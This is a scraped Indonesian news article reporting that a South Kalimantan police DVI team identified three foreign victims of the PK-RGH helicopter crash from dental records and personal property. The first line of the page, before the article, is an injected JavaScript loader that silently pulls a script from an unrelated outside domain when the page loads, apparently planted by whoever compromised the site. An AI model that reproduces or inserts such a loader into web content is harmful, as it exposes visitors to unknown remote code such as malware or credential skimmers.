(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Tiga dari delapan korban kecelakaan helikopter tipe BK117-D3 register PK-RGH berhasil diidentifikasi oleh Tim Disaster Victim Identification (DVI) Polda Kalimantan Selatan (Kalsel).
Menurut keterangan dari Kabid Dokkes Polda Kalsel, Kombes Pol Muhammad El Yandiko, korban yang dimaksud adalah tiga Warga Negara Asing (WNA) yang turut menjadi penumpang helikopter milik PT Eastindo Air yang jatuh di Desa Emil Baru, Kecamatan Mantewe, Kabupaten Tanah Bumbu, Kalsel.
Sebelumnya pada Jumat (5/9/2025) pukul 02.45 Wita, Tim DVI Polda Kalsel menerima 6 kantong jenazah korban diantaranya 5 kantong berisi badan utuh dan 1 kantong berisi bagian tubuh yang diduga gabungan dari 3 jenazah korban.
“Tim DVI sudah selesai melakukan rekonsilisasi dan memiliki kesepakatan mengidentifikasi 3 jenazah dengan data post mortem yang dibandingkan dengan data ante-mortem korban saat masih hidup,” ujar Kombes Yandiko, Sabtu (6/9/2025).
Baca juga: Penyelidikan Kecelakaan Helikopter PK-RGH Libatkan Negara Asing
Pertama, korban berinisal MW (68), WNA asal Australia dengan jenis kelamin laki-laki yang dinyatakan cocok dengan data ante-mortem dari kantong jenazah nomor 003. “MW ini teridentifikasi melalui catatan medis gigi dan properti, ini sudah dicek dan cross check dan memang betul dan dari catatan medis gigi juga dinyatakan identik,” ungkap Kombes Yandiko.
Kedua, korban berinisial CPQ (57), WNA asal Brazil dengan jenis kelamin laki-laki yang dinyatakan cocok dengan data ante mortem dari kantong jenazah nomor 007. “CPQ juga teridentifikasi melalui catatan medis gigi dan properti,” jelas Kombes Yandiko.
Ketiga, korban berinisial SKP (56), WNA asal India dengan jenis kelamin laki-laki yang dinyatakan cocok dengan data ante mortem dari kantong jenazah nomor 006. “Sama, ini teridentifikasi dari catatan medis gigi, sudah kita dapatkan datanya dan kita cocokkan data ante mortem dan post mortem itu identik,” terang Kombes Yandiko.
Alasan mengapa korban WNA yang didahulukan karena mereka memiliki catatan medis gigi yang paling lengkap disertai foto rontgennya.
Baca juga: CSMU dari Black Box Helikopter PK-RGH akan Diambil, Begini Penjelasan Investigator KNKT
Sebagai informasi, gigi adalah organ tubuh manusia yang sangat tahan dengan panas walaupun dalam kondisi terbakar sekalipun akan tetap utuh. Bagi Kombes Yandiko, gigi adalah petunjuk yang sangat membantu.
“Jadi ini sangat memudahkan kita melihat rumus geligi yang setiap orang itu beda, ada keunikan dan kekhasan sehingga cepat menentukan bahwa ini adalah korban atas inisial apa dan kantong jenazah berapa,” tuturnya.
Selain itu, properti juga menjadi catatan penting bagi timnya dalam mengidentifikasi korban. Properti yang dimaksud adalah semua benda yang melekat di tubuh korban seperti cincin, kalung, jam tangan, hingga dompet.
“Properti ini asal tidak rusak akan sangat menguatkan sebagai evidence bahwa barang yang unik yang dimiliki dan ini dikenali oleh keluarganya dan bisa ditunjukkan bahwa ini memang digunakan oleh almarhum semasa hidup,” tambah Kombes Yandiko.
Baca juga: CSMU dari Black Box Helikopter PK-RGH akan Diambil, Begini Penjelasan Investigator KNKT
Tanda khusus di badan seperti tato, tindik telinga, atau bekas operasi yang membuat kekhasan fisik juga sebenarnya bisa membantu proses identifikasi. Namun itu semua bisa rusak apabila kulit mengalami pembusukan tingkat lanjut. Setelah ini, ketiga jenazah korban WNA tersebut akan dikembalikan kepada pihak keluarga untuk dipulangkan ke negara asalnya masing-masing.
Dengan demikian, tersisa 5 jenazah korban yang belum teridentifikasi dan akan dilakukan pendalaman oleh Tim DVI Polda Kalsel. Seperti yang dijelaskan sebelumnya, ada 1 kantong jenazah berisi bagian tubuh yang dicurigai gabungan dari 3 korban sehingga memerlukan pemeriksaan DNA.
“Ini kondisinya tingkat kerusakan akibat kebakaran itu cukup berat sekali sehingga kita membutuhkan pemeriksaan DNA. Kalau untuk geligi kayaknya masih sangat sulit dan datanya belum lengkap,” papar Kombes Yandiko.
Sementara dua kantong jenazah lainnya yang tidak dalam kondisi berat akan dilakukan pemeriksaan lebih lanjut dengan tambahan data mortem yang dibutuhkan agar bisa diproyeksikan dengan kondisi sekarang.
Baca juga: Perumda PALD Banjarmasin Rugi Rp99 Miliar, Ini Respon Wali Kota Yamin
Kabiddokes Polda Kalsel memastikan pihaknya mengedepankan akurasi dalam proses identifikasi sehingga memerlukan waktu dan tidak bisa terburu-buru.
“Karena kalau kita belum yakin betul kita akan mencari data tambahan sampai kita meyakini identifikasi korban dan bisa dipertanggungjawabkan. Jadi mohon kesabaran tapi yang jelas kita berusaha terus,” pungkas Kombes Yandiko. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Hidangan Soto Banjar disajikan di rumah lanting apung itu ketika sang surya… Read More
KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More
KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
This website uses cookies.